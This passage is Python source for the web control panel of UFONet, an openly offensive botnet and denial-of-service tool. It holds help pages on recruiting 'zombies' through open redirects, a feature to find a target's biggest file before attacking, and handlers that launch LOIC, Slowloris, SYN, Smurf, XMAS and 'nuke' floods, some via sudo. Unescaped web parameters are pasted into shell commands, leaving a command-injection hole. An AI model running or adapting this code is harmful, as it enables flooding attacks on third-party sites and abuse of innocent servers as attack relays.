  2019. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2020. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2021. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2022. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2023. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2024. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2025. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2026. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2027. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2028. </div><div>
  2029. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2030. If you have problems with UFONet, try to solve them following next links:
  2031. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2032. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2033. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2034. - Coding; you can try to develop more features
  2035. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2036. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2037. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2038. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2039. </div></td> </tr></table> </td></tr></table>
  2040. """ + self.pages["/footer"]
  2041. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2042. function Requests() {
  2043. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2044. }
  2045. function Abduction() {
  2046. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2047. }
  2048. function Start(){
  2049. target=document.getElementById("target").value
  2050. String.prototype.startsWith = function(prefix){
  2051. return this.indexOf(prefix) === 0;
  2052. }
  2053. if(target.startsWith("http")){
  2054. params="target="+escape(target)
  2055. }else{
  2056. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2057. return
  2058. }
  2059. runCommandX("cmd_inspect",params)
  2060. }
  2061. </script>
  2062. </head>
  2063. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2064. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2065. <center>
  2066. <table cellpadding="38" cellspacing="38">
  2067. <tr>
  2068. <td>
  2069. <div class="ringMenu">
  2070. <ul>
  2071. <li class="main"><a href="inspect">Inspect</a></li>
  2072. <li class="top"><a href="help">Help</a></li>
  2073. <li class="right"><a href="botnet">Botnet</a></li>
  2074. <li class="bottom"><a href="attack">Attack</a></li>
  2075. <li class="left"><a href="gui">RETURN</a></li>
  2076. </ul>
  2077. </div>
  2078. </td>
  2079. <td>
  2080. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2081. <tr>
  2082. <td>
  2083. <pre>
  2084. This feature will provide you the biggest file on target.
  2085. You can use this before to attack to be more effective.
  2086. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2087. <hr>
  2088. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2089. <hr>
  2090. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2091. </td><td><img src="/images/aliens/alien7.png" onclick="Abduction()"></td>
  2092. </tr></table>
  2093. </td>
  2094. </tr>
  2095. </table>
  2096. <hr>
  2097. <div id="cmdOut"></div>
  2098. """ + self.pages["/footer"]
  2099. self.pages["/lib.js"] = """function loadXMLDoc() {
  2100. var xmlhttp;
  2101. if (window.XMLHttpRequest) {
  2102. // code for IE7+, Firefox, Chrome, Opera, Safari
  2103. xmlhttp = new XMLHttpRequest();
  2104. } else {
  2105. // code for IE6, IE5
  2106. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2107. }
  2108. xmlhttp.onreadystatechange = function() {
  2109. if (xmlhttp.readyState == 4 ) {
  2110. if(xmlhttp.status == 200){
  2111. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2112. setTimeout("loadXMLDoc()", 3000);
  2113. }
  2114. }
  2115. }
  2116. xmlhttp.send();
  2117. }
  2118. function runCommandX(cmd,params) {
  2119. var xmlhttp;
  2120. if (window.XMLHttpRequest) {
  2121. // code for IE7+, Firefox, Chrome, Opera, Safari
  2122. xmlhttp = new XMLHttpRequest();
  2123. } else {
  2124. // code for IE6, IE5
  2125. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2126. }
  2127. xmlhttp.onreadystatechange = function() {
  2128. if (xmlhttp.readyState == 4 ) {
  2129. if(xmlhttp.status == 200){
  2130. if(cmd.indexOf("?")!=-1){
  2131. s=cmd.split("?")
  2132. cmd=s[0]
  2133. params=s[1]
  2134. }
  2135. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2136. //document.getElementById("cmdOut").scrollIntoView();
  2137. newcmd=cmd
  2138. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2139. return;
  2140. } else {
  2141. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2142. //do not refresh if certain text on response is found
  2143. if(newcmd.match(/update/) &&
  2144. (
  2145. xmlhttp.responseText.match(/Generating random exit/) ||
  2146. xmlhttp.responseText.match(/Biggest File/) ||
  2147. xmlhttp.responseText.match(/Abduction finished/) ||
  2148. xmlhttp.responseText.match(/Not any zombie active/) ||
  2149. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2150. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2151. xmlhttp.responseText.match(/Something wrong/) ||
  2152. xmlhttp.responseText.match(/Target url not valid/) ||
  2153. xmlhttp.responseText.match(/updated/) ||
  2154. xmlhttp.responseText.match(/For HELP use:/) ||
  2155. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2156. xmlhttp.responseText.match(/End of /) ||
  2157. xmlhttp.responseText.match(/Exiting /) ||
  2158. xmlhttp.responseText.match(/Bye/)
  2159. )
  2160. ) return;
  2161. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2162. return;}
  2163. }
  2164. }
  2165. }
  2166. if(typeof params != "undefined") cmd=cmd+"?"+params
  2167. xmlhttp.open("GET", cmd, true);
  2168. xmlhttp.send();
  2169. }
  2170. """
  2171. self.pages["/requests"] = self.html_requests()
  2172. self.pages["/board_profile"] = self.html_board_profile()
  2173. self.pages["/grid_profile"] = self.html_grid_profile()
  2174. def buildGetParams(self, request):
  2175. params = {}
  2176. path = re.findall("^GET ([^\s]+)", request)
  2177. if path:
  2178. path = path[0]
  2179. start = path.find("?")
  2180. if start != -1:
  2181. if path[start+1:start+7] == "zombie":
  2182. params['zombie']=path[start+8:]
  2183. return params
  2184. if path[start+1:start+7] == "target":
  2185. params['target']=path[start+8:]
  2186. return params
  2187. for param in path[start+1:].split("&"):
  2188. f = param.split("=")
  2189. if len(f) == 2:
  2190. var = f[0]
  2191. value = f[1]
  2192. value = value.replace("+", " ")
  2193. value = urllib.unquote(value)
  2194. params[var] = value
  2195. return params
  2196. def save_profile(self,pGet):
  2197. # set values for profile configuration from html form to json file
  2198. if "profile_token" in pGet.keys():
  2199. profile_token = pGet["profile_token"]
  2200. else:
  2201. profile_token = self.profile_token
  2202. if "profile_icon" in pGet.keys():
  2203. profile_icon = pGet["profile_icon"]
  2204. else:
  2205. profile_icon = self.profile_icon
  2206. if "profile_nick" in pGet.keys():
  2207. profile_nick = pGet["profile_nick"]
  2208. else:
  2209. profile_nick = self.profile_nick
  2210. # set new values on boardcfg json file
  2211. with open(self.mothership_boardcfg_file, "w") as f:
  2212. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2213. def save_grid(self,pGet):
  2214. # set values for profile configuration from html form to json file
  2215. if "grid_token" in pGet.keys():
  2216. grid_token = pGet["grid_token"]
  2217. else:
  2218. grid_token = self.grid_token
  2219. if "grid_contact" in pGet.keys():
  2220. grid_contact = pGet["grid_contact"]
  2221. else:
  2222. grid_contact = self.grid_contact
  2223. if "grid_nick" in pGet.keys():
  2224. grid_nick = pGet["grid_nick"]
  2225. else:
  2226. grid_nick = self.grid_nick
  2227. # set new values on gridcfg json file
  2228. with open(self.mothership_gridcfg_file, "w") as f:
  2229. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2230. def save_cfg(self,pGet):
  2231. # set values for requests configuration from html form to json file
  2232. if "rproxy" in pGet.keys():
  2233. frm_rproxy = pGet["rproxy"]
  2234. else:
  2235. frm_rproxy = self.rproxy
  2236. if "ruseragent" in pGet.keys():
  2237. frm_ruseragent = pGet["ruseragent"]
  2238. else:
  2239. frm_ruseragent = self.ruseragent
  2240. if "rreferer" in pGet.keys():
  2241. frm_rreferer = pGet["rreferer"]
  2242. else:
  2243. frm_rreferer = self.rreferer
  2244. if "rhost" in pGet.keys():
  2245. frm_rhost = pGet["rhost"]
  2246. else:
  2247. frm_rhost = self.rhost
  2248. if "rxforw" in pGet.keys():
  2249. frm_rxforw = pGet["rxforw"]
  2250. else:
  2251. if "update" in pGet.keys():
  2252. frm_rxforw = ""
  2253. else:
  2254. frm_rxforw = self.rxforw
  2255. if "rxclient" in pGet.keys():
  2256. frm_rxclient = pGet["rxclient"]
  2257. else:
  2258. if "update" in pGet.keys():
  2259. frm_rxclient = ""
  2260. else:
  2261. frm_rxclient = self.rxclient
  2262. if "rtimeout" in pGet.keys():
  2263. frm_rtimeout = pGet["rtimeout"]
  2264. else:
  2265. frm_rtimeout = self.rtimeout
  2266. if "rretries" in pGet.keys():
  2267. frm_rretries = pGet["rretries"]
  2268. else:
  2269. frm_rretries = self.rretries
  2270. if "rdelay" in pGet.keys():
  2271. frm_rdelay = pGet["rdelay"]
  2272. else:
  2273. frm_rdelay = self.rdelay
  2274. if "threads" in pGet.keys():
  2275. frm_threads = pGet["threads"]
  2276. else:
  2277. frm_threads = self.threads
  2278. if "rssl" in pGet.keys():
  2279. frm_rssl = pGet["rssl"]
  2280. else:
  2281. if "update" in pGet.keys():
  2282. frm_rssl = ""
  2283. else:
  2284. frm_rssl = self.rssl
  2285. # set new values on webcfg json file
  2286. with open(self.mothership_webcfg_file, "w") as f:
  2287. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2288. def get(self, request):
  2289. # set request options of the user
  2290. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2291. if self.rxforw == "on":
  2292. cmd_options = cmd_options + " --xforw"
  2293. if self.rxclient == "on":
  2294. cmd_options = cmd_options + " --xclient"
  2295. if self.rssl == "on":
  2296. cmd_options = cmd_options + " --force-ssl"
  2297. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2298. runcmd = ""
  2299. res = re.findall("^GET ([^\s]+)", request)
  2300. if res is None or len(res)==0:
  2301. return
  2302. pGet = {}
  2303. page = res[0]
  2304. paramStart = page.find("?")
  2305. if paramStart != -1:
  2306. page = page[:paramStart]
  2307. pGet = self.buildGetParams(request)
  2308. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2309. if os.path.exists("core/"+page[1:]):
  2310. f=open("core/"+page[1:])
  2311. self.pages[page]=f.read()
  2312. elif page == "/js/ajax.js":
  2313. from ajaxmap import AjaxMap
  2314. self.pages[page] = AjaxMap().ajax(pGet)
  2315. if page == "/cmd_check_tool":
  2316. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2317. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2318. if page == "/cmd_check_tool_update":
  2319. if not os.path.exists('/tmp/out'):
  2320. open('/tmp/out', 'w').close()
  2321. with open('/tmp/out', 'r') as f:
  2322. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2323. if page == "/cmd_list_army":
  2324. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2325. if page == "/cmd_list_zombies":
  2326. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2327. if page == "/cmd_list_aliens":
  2328. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2329. if page == "/cmd_list_droids":
  2330. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2331. if page == "/cmd_list_ucavs":
  2332. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2333. if page == "/cmd_list_rpcs":
  2334. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2335. if page == "/cmd_view_army":
  2336. if pGet=={}:
  2337. self.pages["/cmd_view_army"] = self.html_army_map()
  2338. if page == "/cmd_view_attack":
  2339. if 'target' in pGet.keys() != None:
  2340. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2341. if page == "/cmd_test_army":
  2342. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2343. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2344. if page == "/cmd_test_all":
  2345. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2346. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2347. if page == "/cmd_test_offline":
  2348. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2349. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2350. if page == "/cmd_attack_me":
  2351. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2352. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2353. if page == "/cmd_attack_me_update":
  2354. if not os.path.exists('/tmp/out'):
  2355. open('/tmp/out', 'w').close()
  2356. with open('/tmp/out', 'r') as f:
  2357. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2358. if page == "/cmd_download_community":
  2359. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2360. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2361. if page == "/cmd_download_community_update":
  2362. if not os.path.exists('/tmp/out'):
  2363. open('/tmp/out', 'w').close()
  2364. with open('/tmp/out', 'r') as f:
  2365. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2366. if page == "/cmd_upload_community":
  2367. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2368. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2369. if page == "/cmd_upload_community_update":
  2370. if not os.path.exists('/tmp/out'):
  2371. open('/tmp/out', 'w').close()
  2372. with open('/tmp/out', 'r') as f:
  2373. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2374. if page == "/cmd_test_army_update":
  2375. if not os.path.exists('/tmp/out'):
  2376. open('/tmp/out', 'w').close()
  2377. with open('/tmp/out', 'r') as f:
  2378. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2379. if page == "/cmd_test_all_update":
  2380. if not os.path.exists('/tmp/out'):
  2381. open('/tmp/out', 'w').close()
  2382. with open('/tmp/out', 'r') as f:
  2383. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2384. if page == "/cmd_test_offline_update":
  2385. if not os.path.exists('/tmp/out'):
  2386. open('/tmp/out', 'w').close()
  2387. with open('/tmp/out', 'r') as f:
  2388. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2389. if page == "/cmd_test_rpcs":
  2390. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2391. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2392. if page == "/cmd_test_rpcs_update":
  2393. if not os.path.exists('/tmp/out'):
  2394. open('/tmp/out', 'w').close()
  2395. with open('/tmp/out', 'r') as f:
  2396. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2397. if page == "/cmd_attack":
  2398. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2399. cmd = ""
  2400. flag_ufosyn = None
  2401. flag_spray = None
  2402. flag_smurf = None
  2403. flag_xmas = None
  2404. flag_nuke = None
  2405. nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2406. root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2407. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2408. if pGet["dbstress"]:
  2409. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2410. if pGet["loic"]:
  2411. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2412. if pGet["loris"]:
  2413. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2414. if pGet["ufosyn"]:
  2415. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2416. flag_ufosyn = True
  2417. if pGet["spray"]:
  2418. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2419. flag_spray = True
  2420. if pGet["smurf"]:
  2421. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2422. flag_smurf = True
  2423. if pGet["xmas"]:
  2424. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2425. flag_xmas = True
  2426. if pGet["nuke"]:
  2427. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  2428. flag_nuke = True
  2429. if not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2430. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2431. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True:
  2432. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE)
  2433. runcmd = cmd + end_cmd
  2434. if page == "/cmd_attack_update":
  2435. if not os.path.exists('/tmp/out'):
  2436. open('/tmp/out', 'w').close()
  2437. with open('/tmp/out', 'r') as f:
  2438. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2439. if page == "/cmd_inspect":
  2440. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2441. target = pGet["target"]
  2442. target=urllib.unquote(target).decode('utf8')
  2443. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2444. if page == "/cmd_inspect_update":
  2445. if not os.path.exists('/tmp/out'):
  2446. open('/tmp/out', 'w').close()
  2447. with open('/tmp/out', 'r') as f:
  2448. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2449. if page == "/cmd_abduction":
  2450. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2451. target = pGet["target"]
  2452. target=urllib.unquote(target).decode('utf8')
  2453. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2454. if page == "/cmd_abduction_update":
  2455. if not os.path.exists('/tmp/out'):
  2456. open('/tmp/out', 'w').close()
  2457. with open('/tmp/out', 'r') as f:
  2458. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2459. if page == "/cmd_search":
  2460. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2461. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2462. if pGet["all_engines"] == "on": # search using all search engines
  2463. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2464. else: # search using a search engine
  2465. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2466. else: # search using a pattern
  2467. if pGet["autosearch"] == "on": # search using auto-search mod
  2468. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2469. else:
  2470. if pGet["all_engines"] == "on": # search using all search engines
  2471. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2472. else: # search using a search engine
  2473. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2474. if page == "/cmd_search_update":
  2475. if not os.path.exists('/tmp/out'):
  2476. open('/tmp/out', 'w').close()
  2477. with open('/tmp/out', 'r') as f:
  2478. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2479. if page == "/cmd_refresh_blackholes":
  2480. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2481. blackhole_ip = pGet["blackholes_source"]
  2482. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2483. try:
  2484. blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
  2485. f = open(self.blackholes, "w") # write updates to nodes.dat
  2486. f.write(str(blackholes))
  2487. f.close()
  2488. self.blackholes_text = blackholes
  2489. except:
  2490. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2491. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2492. f = open("/tmp/out", "w")
  2493. f.write(str(blackholes))
  2494. f.write(end_mark)
  2495. f.close()
  2496. if page == "/cmd_refresh_blackholes_update":
  2497. if not os.path.exists('/tmp/out'):
  2498. open('/tmp/out', 'w').close()
  2499. with open('/tmp/out', 'r') as f:
  2500. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2501. if page == "/cmd_refresh_news":
  2502. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2503. blackhole_ip = pGet["news_source"]
  2504. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2505. try:
  2506. news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
  2507. f = open(self.news, "w") # write updates to news.txt
  2508. f.write(str(news))
  2509. f.close()
  2510. self.news_text = news
  2511. except:
  2512. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2513. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2514. f = open("/tmp/out", "w")
  2515. f.write(str(news))
  2516. f.write(end_mark)
  2517. f.close()
  2518. if page == "/cmd_refresh_news_update":
  2519. if not os.path.exists('/tmp/out'):
